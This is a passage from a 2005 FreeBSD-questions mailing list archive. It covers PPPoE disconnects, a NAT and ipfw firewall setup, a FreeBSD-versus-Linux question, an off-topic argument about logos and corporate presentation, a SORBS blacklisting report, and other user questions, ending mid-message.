mx1.FreeBSD.org (Postfix) with ESMTP id 59B1B43D58 for ; Sat, 12 Feb 2005 04:09:31 +0000 (GMT) (envelope-from infofarmer@mail.ru) Received: from [83.237.61.33] (port=1437 helo=[172.17.0.69]) by mx2.mail.ru with esmtp id 1Czob4-000Ccx-00; Sat, 12 Feb 2005 07:09:30 +0300 Message-ID: <420D8177.30600@mail.ru> Date: Sat, 12 Feb 2005 07:09:27 +0300 From: "Andrew P." User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Dan Nelson References: <420D7EE3.5000305@mail.ru> <20050212040327.GA49626@dan.emsphone.com> In-Reply-To: <20050212040327.GA49626@dan.emsphone.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam: Not detected cc: FreeBSD-Questions Subject: Re: Concealing short disconnects X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: infofarmer@mail.ru List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 04:09:31 -0000 Dan Nelson wrote: > In the last episode (Feb 12), Andrew P. said: > >>I have a few machines behind my FreeBSD box. The box connects to ISP >>via ppp (PPPoE protocol). It's all working very nicely, but the ISP >>is a pain - it disconnects every 24 hours. I can reconnect in just a >>moment - so the diconnect is usually less than a second long, but >>many applications, like ICQ/MSN and games "feel" the disconnect. The >>matter is that these applications can handle fairly large packet loss >>(e.g. Counter-Strike can cope with at least 15-second long 100% >>packet loss), but AFAIK it's in the nature of the TCP/UDP that a >>disconnect is a disconnect. >> >>As I know that FreeBSD is full of magic, is there any way to >>conceal these reconnects as short moments of 100% packet loss? >>I am ashamed to know very little about protocols' technicalities, >>but I'll look into any sources you advise. > > > Check to see if your IP number changes when you reconnect. If it does, > there's nothing you really can do; the remote system you were talking > to knew you only by your old IP, and those packets coming to them from > this other IP are unrelated. > It changes only once in about a week. Let's say it doesn't change at all. What then? Best wishes, Andrew P. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 04:12:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5FF1916A4CE for ; Sat, 12 Feb 2005 04:12:37 +0000 (GMT) Received: from lakermmtao04.cox.net (lakermmtao04.cox.net [68.230.240.35]) by mx1.FreeBSD.org (Postfix) with ESMTP id C064B43D39 for ; Sat, 12 Feb 2005 04:12:36 +0000 (GMT) (envelope-from myfreebsd@cox.net) Received: from [192.168.1.101] (really [68.226.7.134]) by lakermmtao04.cox.net (InterMail vM.6.01.04.00 201-2131-117-20041022) with ESMTP id <20050212041234.QWQQ23636.lakermmtao04.cox.net@[192.168.1.101]> for ; Fri, 11 Feb 2005 23:12:34 -0500 Message-ID: <4214184F.5060700@cox.net> Date: Wed, 16 Feb 2005 23:06:39 -0500 From: David Wassman User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Problem accessing net from a NAT Firewall X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 04:12:37 -0000 Ok, after two days with little sleep I am now going to ask for some help. Here are my problems to ponder and I will give my sys info and configs after. 1) I want to connect to my wireless router (A) from one computer (B) and connect through it a wired network (C) to access the internet. Is this possible? I know you can do it with a wired network through nat but am not sure about the wireless in the middle. 2)I have setup the computer A as a router with a firewall and NAT. I can access to web from it through the wireless link but cannot ping out from C behind it. The net hardware: I have cable. A - Linksys WGT54G D- WG511T wireless PC card Xircom 10Mbps PC card C RealTek 8139 3Com 3c905-TX I have put the following options in the kernel and compiled IPFIREWALL IPDIVERT IPSEC (I know this is for IPsec and not the firewall directly. I have not installed racoon and am not using IPsec. Included it here in case this is the problem.) IPSEC_ESP IPSEC_DEBUG I modified the following configs from this site http://lugbe.ch/lostfound/contrib/freebsd_router/ rc.conf: # use DHCP for external interface ifconfig_ath0="ssid xxxx" ifconfig_ath0="DHCP" # static address for internal interface ifconfig_xe0="inet 223.147.37.1 netmask 255.255.255.0 broadcast 223.147.37.255" # enable IP forwarding gateway_enable="YES" sshd_enable="YES" # enable firewall firewall_enable="YES" # set path to custom firewall config firewall_type="/etc/rc.firewall.rules" # be non-verbose? set to YES after testing firewall_quiet="NO" # enable natd, the NAT daemon natd_enable="YES" # which is the interface to the internet that we hide behind? natd_interface="ath0" # flags for natd natd_flags="-f /etc/natd.conf" rc.firewall.rules # be quiet and flush all rules on start -q flush # allow local traffic, deny RFC 1918 addresses on the outside add 00100 allow ip from any to any via lo0 add 00110 deny ip from any to 127.0.0.0/8 add 00120 deny ip from any to any not verrevpath in add 00301 deny ip from 10.0.0.0/8 to any in via ep0 add 00302 deny ip from 172.16.0.0/12 to any in via ath0 add 00303 deny ip from 192.168.0.0/16 to any in via ath0 # check if incoming packets belong to a natted session, allow through if yes add 01000 divert natd ip from any to me in via ath0 add 01001 check-state # allow some traffic from the local net to the router # SSH add 04000 allow tcp from 223.147.37.0/24 to me dst-port 22 in via xe0 setup keep-state # NTP add 04002 allow tcp from 223.147.37.0/24 to me dst-port 123 in via xe0 setup keep-state add 04003 allow udp from 223.147.37.0/24 to me dst-port 123 in via xe0 keep-state # DNS add 04006 allow udp from 223.147.37.0/24 to me dst-port 53 in via xe0 # drop everything else add 04009 deny ip from 223.147.37.0/24 to me # pass outgoing packets (to be natted) on to a special NAT rule add 04109 skipto 61000 ip from 223.147.37.0/24 to any in via xe0 keep-state # allow all outgoing traffic from the router (maybe you should be more restrictive) add 05010 allow ip from me to any out keep-state # drop everything that has come so far. This means it doesn't belong to an established connection, don't log the most noisy scans. add 59998 deny icmp from any to me add 59999 deny ip from any to me dst-port 135,137-139,445,4665 add 60000 deny log tcp from any to any established add 60000 deny log ip from any to any # this is the NAT rule. Only outgoing packets from the local net will come here. # First, nat them, then pass them on (again, you may choose to be more restrictive) add 61000 divert natd ip from 223.147.37.0/24 to any out via ath0 add 61001 allow ip from any to any natd.conf unregistered_only interface ath0 use_sockets #dynamic (Don't think I need this as not running any services for the outside) # dyamically open fw for ftp, irc #punch_fw 53 Any help would be greatly appreciated as I am very tired of pulling my hair out at 4 in the morning. It is also annoying to have to use M$ on my wife's laptop to access the internet. Please help bring FreeBSD back into my everyday life:-) David From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 04:13:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 43F6616A4CE for ; Sat, 12 Feb 2005 04:13:03 +0000 (GMT) Received: from newalpha.avalonworks.net (newalpha.avalonworks.net [216.58.97.38]) by mx1.FreeBSD.org (Postfix) with ESMTP id D630A43D39 for ; Sat, 12 Feb 2005 04:13:02 +0000 (GMT) (envelope-from hindrich@worldchat.com) Received: from Brampton-ppp70381.sympatico.ca (Brampton-ppp70381.sympatico.ca [216.208.60.174])j1C4D0fW066090; Fri, 11 Feb 2005 23:13:01 -0500 (EST) (envelope-from hindrich@worldchat.com) From: Peterhin To: Anthony Atkielski Date: Fri, 11 Feb 2005 23:13:27 -0500 User-Agent: KMail/1.5.3 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502112313.28082.hindrich@worldchat.com> X-Virus-Scanned: ClamAV 0.82/705/Fri Feb 11 11:51:32 2005 on newalpha.avalonworks.net X-Virus-Status: Clean cc: freebsd-questions@freebsd.org Subject: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 04:13:03 -0000 Good day, I am a Newbie to Freebsd and was just reading your reply "Re. Instead of freebsd.com, why not..." and you made the comment; "Linux is inferior to FreeBSD, and yet it is taken more seriously because of the atmosphere around it, despite its technical inferiority" Could you please either explain, why Freebsd is superior to Linux, (I am asking this as I would like to understand, in more depth, why it is better) or direct me to a source that might give me some further reading on the subject. I would really appreciate a better understanding of the differences between Freebsd and Linux. Thanking you for your time. -- Peter "Peace is never more than one thought away" From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 04:16:59 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 07D9C16A4CE for ; Sat, 12 Feb 2005 04:16:59 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 927E643D41 for ; Sat, 12 Feb 2005 04:16:58 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CzoiG-000Glc-0p for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 21:16:56 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <583702950.20050212044425@wanadoo.fr> References: <200502112325.j1BNPw201164@clunix.cl.msu.edu> <1108168477.45718.19.camel@p4><1108178253.46376.11.camel@p4> <583702950.20050212044425@wanadoo.fr> Message-Id: From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 21:16:55 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 04:16:59 -0000 On Feb 11, 2005, at 8:44 PM, Anthony Atkielski wrote: > Robert Marella writes: > >> As far as the codebase question, he was not the one to bring it up. If >> I can read between his lines, I understand that when you go in front >> of the suits you can't tell them RTFM. You have to explain why FreeBSD >> is head and shoulders above the leader of the pack. > > Yes. Things to remember if you must present FreeBSD to "suits" (not an > exhaustive list): > > - You must provide sound arguments and/or hard data to support your > suggestions. "FreeBSD is just great!" will not do. > > - You must provide costs. "It's free" won't do. Nothing is ever free. > If you don't have costs, either you aren't being serious, or you > haven't done your homework. > > - You cannot killfile anyone who asks questions that you don't like. > > - Calling the suits stupid because they refuse to unconditionally agree > with you guarantees failure. Do not throw tantrums. > > - You must be confident, but not arrogant. Stick to your guns when you > are discussing something that you know to be objectively true, but do > not argue about opinions. > > - You must know exactly what point you wish to make to the suits, and > you must stick to it. A long discussion of how much you love Beastie > will not impress. > > - You need to leave documentation with them, including a copy of your > presentation. > > - You need to explain how they will obtain support when something goes > wrong. "Nothing ever goes wrong!" will not work. > > - You need to explain how FreeBSD will fit in with their IT strategy. > It's up to you to research this; it is not up to them to figure it out. > > - Don't knock the competition unless you can objectively back up what > you say (even then, be judicious). > > - Be prepared to address legal issues, such as licensing, patents, and > copyrights. > > - If you say "If you don't like it this way, go somewhere else," they > will. > This is all very well and good, but is irrelevant to the earlier discussion. You are not a Suit we are trying to impress or get to use FreeBSD. You are on a general technical support mailing list and "behavior" here is different than would be in a formal presentation or even official support mechanism. Chad From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 04:17:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 94C5116A4DE for ; Sat, 12 Feb 2005 04:17:08 +0000 (GMT) Received: from gaia.nimnet.asn.au (nimbin.lnk.telstra.net [139.130.45.143]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8E0FF43D53 for ; Sat, 12 Feb 2005 04:17:04 +0000 (GMT) (envelope-from smithi@nimnet.asn.au) Received: from localhost (smithi@localhost) by gaia.nimnet.asn.au (8.8.8/8.8.8R1.4) with SMTP id PAA04107; Sat, 12 Feb 2005 15:17:01 +1100 (EST) (envelope-from smithi@nimnet.asn.au) Date: Sat, 12 Feb 2005 15:17:01 +1100 (EST) From: Ian Smith To: freebsd-questions@freebsd.org In-Reply-To: <20050212025510.92E0F16A4CF@hub.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII cc: Jerry McAllister Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 04:17:08 -0000 On Sat, 12 Feb 2005 freebsd-questions-request@freebsd.org wrote: > Message: 23 > Date: Fri, 11 Feb 2005 20:55:06 -0500 (EST) > From: Jerry McAllister [..] > Well, I hope I am helpful, at least some of the time. It seems > to run about 50-50 that I am near the topic and am way out of touch. You're being way too modest, Jerry. > But, on this, the comment is not because of the specific opinion, but > rather the tenor of the posts which seem to have begun drifting in the > direction of having the look and feel of some from a recent very thoroughly > unpopular but active troll. At least TM*@AOL mostly trolled about pseudo-technical issues, not all this quasi-legalistic and corporate-cater crap. Even Ted M got sucked in, starting his next book in here, in the off-topic-before-last .. > The objectionable sign is the tendancy to not just post an opinion and > let others have theirs, but to repeatedly pound on the same thread, often > drifting far from the thread, with successive posts escalating the > virulence of the rhetoric until there is no semblence of exchange left, > just a bunch of who can shout the loudest. Yep. > In a posting storm from only a few days ago, it was noted that this > goes beyond even the typical troll, and may need some other creature > to characterize the identity - maybe a cockatrice or something. I only catch up on -questions as a digest, every now and again when I've the time and/or want to find out something and/or am interested in some discussions. Lately it's been just chocfull of this sort of bs, which is most distracting. This is usually an excellent technical list, but lately only in amongst all this massively off-topic stuff, which is sad. > Anyway, in the way of the old folk story, it looks like, feels like, > smells like, tastes like - sure glad I didn't step in it. I like the mascot too, and couldn't care less about logos. I also like the clean, functional, fast website, and would hate to see it cluttered up and slowed down by corporatised flashy crap to suit the suits Anthony hopes to impress. And, to polish it off, I just love FreeBSD on my lil' laptop as well as on several servers. Currently 8 Netscape windows, 11 Kwrite, 6 Konsoles in 160MB, uptime 6.5 days, last reboot 30 Jan .. and that's an ancient FreeBSD 4.5, KDE 2.2.2 .. no good on the desktop, eh? This will be my one and only 'contribution' to painting this bikeshed. Cheers, Ian From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 04:18:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5988816A4CE for ; Sat, 12 Feb 2005 04:18:17 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2EA5343D2D for ; Sat, 12 Feb 2005 04:18:17 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CzojY-000GmY-RY for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 21:18:17 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <188212807.20050212044947@wanadoo.fr> References: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> <420D669A.20000@incubus.de> <1108179120.46376.27.camel@p4> <7D9CA83A-7CA6-11D9-B134-000D933E3CEC@shire.net> <188212807.20050212044947@wanadoo.fr> Message-Id: <1E2879C8-7CAD-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 21:18:16 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 04:18:17 -0000 On Feb 11, 2005, at 8:49 PM, Anthony Atkielski wrote: > Chad Leigh -- Shire.Net LLC writes: > >> Not in public it doesn't. That is irrelevant to the discussion. >> FreeBSD does not work on my PPC HW either. > > Score: 12 out of 100. The meeting is over, and a security guard will > show you the door. > > Try again. Dude, get a life. This is not a formal presentation to an IT department. This is an unofficial, freely used by all, who are all volunteers, mail list. I wish the security guard would show you to the door. Chad From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 04:27:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3646816A4CE for ; Sat, 12 Feb 2005 04:27:30 +0000 (GMT) Received: from fw.farid-hajji.net (fw.farid-hajji.net [213.146.115.42]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3DB3243D1F for ; Sat, 12 Feb 2005 04:27:29 +0000 (GMT) (envelope-from cpghost@cordula.ws) Received: from fw.farid-hajji.net (net4801-2 [192.168.254.1]) by fw.farid-hajji.net (Postfix) with ESMTP id E74DF4B3AF for ; Sat, 12 Feb 2005 05:23:19 +0100 (CET) Date: Sat, 12 Feb 2005 05:23:18 +0100 From: cpghost@cordula.ws To: freebsd-questions@freebsd.org Message-ID: <20050212042318.GA34223@fw.farid-hajji.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.6i Subject: mx2.freebsd.org in SORBS, AGAIN! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 04:27:30 -0000 Hello, for some reason, mx2.freebsd.org is being repeatedly added to, and some days later removed from the SORBS dnsbl. They keep adding it, and then removing it with a reason: Listed in error. Right now, it's listed again. >From their DB page http://www.dnsbl.us.sorbs.net/lookup.shtml Database of servers sending to spamtrap addresses Address: 216.136.204.119 Record Created: Mon Jan 31 10:14:47 2005 GMT Record Updated: Thu Feb 10 04:59:33 2005 GMT Additional Information: Received: [email] Currently active and flagged to be published in DNS This is going on for many days now, and the only workaround (or solution?) is to avoid SORBS until they fixed that problem for good. Does anyone know what's going on there? Thanks. -cpghost. -- Cordula's Web. http://www.cordula.ws/ From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 04:29:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7E72E16A4CE for ; Sat, 12 Feb 2005 04:29:28 +0000 (GMT) Received: from gromit.dlib.vt.edu (gromit.dlib.vt.edu [128.173.49.29]) by mx1.FreeBSD.org (Postfix) with ESMTP id 287E143D3F for ; Sat, 12 Feb 2005 04:29:28 +0000 (GMT) (envelope-from paul@gromit.dlib.vt.edu) Received: from zappa.Chelsea-Ct.Org (pool-151-199-113-125.roa.east.verizon.net [151.199.113.125]) by gromit.dlib.vt.edu (8.13.1/8.13.1) with ESMTP id j1C4TPah037344 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 11 Feb 2005 23:29:26 -0500 (EST) (envelope-from paul@gromit.dlib.vt.edu) Received: from zappa.Chelsea-Ct.Org (localhost.Chelsea-Ct.Org [127.0.0.1]) by zappa.Chelsea-Ct.Org (8.13.1/8.13.1) with ESMTP id j1C4TKUU037878 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 11 Feb 2005 23:29:20 -0500 (EST) (envelope-from paul@gromit.dlib.vt.edu) Received: (from paul@localhost) by zappa.Chelsea-Ct.Org (8.13.1/8.13.1/Submit) id j1C4TJ8L037877; Fri, 11 Feb 2005 23:29:19 -0500 (EST) (envelope-from paul@gromit.dlib.vt.edu) X-Authentication-Warning: zappa.Chelsea-Ct.Org: paul set sender to paul@gromit.dlib.vt.edu using -f From: Paul Mather To: freebsd-questions@freebsd.org In-Reply-To: <20050212025509.93CAD16A4CF@hub.freebsd.org> References: <20050212025509.93CAD16A4CF@hub.freebsd.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Fri, 11 Feb 2005 23:29:19 -0500 Message-Id: <1108182559.37129.44.camel@zappa.Chelsea-Ct.Org> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port cc: Anthony Atkielski Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 04:29:28 -0000 On Sat, 12 Feb 2005 03:54:27 +0100, Anthony Atkielski wrote: > Chad Leigh -- Shire.Net LLC writes: > > > This is also ridiculous. No CEO or CIO is going to give a RAT's > ASS > > about what is said in a mailing list about a particular product. > > Probably. But the problem is that there is nothing else with FreeBSD. > If you want support, you post to a mailing list, and hope that someone > answers you without abusing you or flying off the handle. You cannot > call a toll number and have a cool-headed professional walk through your > issue and solve the problem. If you want that type of support, you might want to try one of the links under the "Vendors" section of www.freebsd.org. You can't expect to *rely* on timely support or solutions to your FreeBSD problems from the FreeBSD mailing lists (or even the FreeBSD developers), but you do have a reasonable expectation of receiving effective tech support from a vendor from which you are buying a FreeBSD solution (or contracting for FreeBSD support of same). If you can't find a vendor that provides the level of support you assess you need, then you'll have to look at another OS. That's just one of those harsh realities. Although plenty of people do manage well with just the mailing lists and *BSD Web sites for support, it's inaccurate to suggest that's the *only* avenue of support. > The Web site actually looks pretty amateurish compared to the > competition. It screams "shareware hobbyist" rather than "enterprise > solutions center." The operating system is one thing; a certain level support is another. That's Free/Open Source software for you. If the freely available help and support does not meet the comfort zone of you or your company, you'll have to pay someone to get it into that zone. That's where the niche of the entries found under the "Vendors" section of the www.freebsd.org Web site fits in. This applies pretty much across the board in my experience, whether it's *BSD or the many Linux distributions. Even OS vendors providing "enterprise solutions" will require you to pay for support. You can't download the freebie and expect 24-hour call-out support. :-) > > But we are talking about a cross section of user's in unofficial > > channels. That does not mean a thing to these people. > > It does when that's the only thing they can see. Then they should learn to scroll down a bit and follow hyperlinks. ;-) Cheers, Paul. -- e-mail: paul@gromit.dlib.vt.edu "Without music to decorate it, time is just a bunch of boring production deadlines or dates by which bills must be paid." --- Frank Vincent Zappa From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 05:02:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 965B316A4CE for ; Sat, 12 Feb 2005 05:02:10 +0000 (GMT) Received: from elsaurio.com.ar (200-32-4-157.prima.net.ar [200.32.4.157]) by mx1.FreeBSD.org (Postfix) with SMTP id 501C443D1F for ; Sat, 12 Feb 2005 05:02:07 +0000 (GMT) (envelope-from l0kit0@exactas.org) Received: (qmail 25754 invoked from network); 12 Feb 2005 05:02:47 -0000 Received: from unknown (HELO 45-179-114-200.fibertel.com.ar) (200.114.179.45) by 200-32-4-157.prima.net.ar with SMTP; 12 Feb 2005 05:02:47 -0000 From: Luciano Musacchio To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 01:58:59 -0300 User-Agent: KMail/1.7.2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502120158.59833.l0kit0@exactas.org> Subject: ipfilter2ipchains script? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 05:02:10 -0000 simple question, is there an ipfilter to ipchains conversion script or program?, if not, whats the better solution for a newbie bsd admin to do firewalls on linux? (long term plan is bsd-migration of course :) thx -- www.eXactas.org - La Universidad Evolutiva From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 05:05:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8C4AC16A4CE; Sat, 12 Feb 2005 05:05:49 +0000 (GMT) Received: from pilchuck.reedmedia.net (pilchuck.reedmedia.net [209.166.74.74]) by mx1.FreeBSD.org (Postfix) with ESMTP id D20D343D31; Sat, 12 Feb 2005 05:05:48 +0000 (GMT) (envelope-from reed@reedmedia.net) Received: from reed by pilchuck.reedmedia.net with local-esmtp (Exim 3.12 #1 (Debian)) id 1CzpTQ-0000jd-00; Fri, 11 Feb 2005 21:05:40 -0800 Date: Fri, 11 Feb 2005 21:05:40 -0800 (PST) From: "Jeremy C. Reed" To: freebsd-questions@freebsd.org In-Reply-To: <13116927.20050212032039@wanadoo.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII cc: freebsd-advocacy@freebsd.org Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 05:05:49 -0000 On Sat, 12 Feb 2005, Anthony Atkielski wrote: > That depends on the OS to which you compare it. In isolation, FreeBSD > works on the desktop, just as most UNIX operating systems do, but in > comparison to Windows or the Mac, it's a rather sorry excuse for a > desktop. But no OS can do it all, no matter how religiously its > proponents might believe otherwise. I guess this depends on how "desktop" is defined. Being able to run a desktop for over a hundred days without reboots, without annoying continuous software failures, without worry of malicious (or anoying) pop-ups, virus, and malware, and being able to quickly do my desktop work is a good reason to use an open source Unix desktop. I guess Mac OS X can meet these goals. But can't meet the need to be able to use a good functional desktop on old, out-dated, slow hardware. (Nevertheless, it is not time to advertise FreeBSD as a "desktop" alternative.) Jeremy C. Reed BSD News, BSD tutorials, BSD links http://www.bsdnewsletter.com/ From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 05:57:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C7A5E16A4CE for ; Sat, 12 Feb 2005 05:57:30 +0000 (GMT) Received: from web11603.mail.yahoo.com (web11603.mail.yahoo.com [216.136.172.55]) by mx1.FreeBSD.org (Postfix) with SMTP id 9C0FA43D41 for ; Sat, 12 Feb 2005 05:57:30 +0000 (GMT) (envelope-from holtor@yahoo.com) Received: (qmail 41454 invoked by uid 60001); 12 Feb 2005 05:57:30 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=ydvlIHsby1C/a1lEqojJ/7/mGyDVJ7Kl0W8YJ2UCoE14SF3Jm0z5Q0s+imHy0r20KFFrfFOTxjdnvmeCX+DnACJ3FM/LI4cS6ZHlxsUnxycVkeOvJlf/CbDTrH29UpquyZtmsIfg3QUrLPWWYroO/HFmjpd06alSbgLXen5aFJM= ; Message-ID: <20050212055730.41452.qmail@web11603.mail.yahoo.com> Received: from [67.85.37.167] by web11603.mail.yahoo.com via HTTP; Fri, 11 Feb 2005 21:57:30 PST Date: Fri, 11 Feb 2005 21:57:30 -0800 (PST) From: Holtor To: questions@freebsd.org, holtor@yahoo.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: What kind of motherboard? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 05:57:30 -0000 Hello, I have a freebsd 4.10 server. Is there anyway I can find out what kind of motherboard is inside it without acctually taking it apart? I noticed that other servers running FreeBSD 5.3 tell me in the kernel bootup which can be seen in /var/run/dmesg.boot but in 4.10 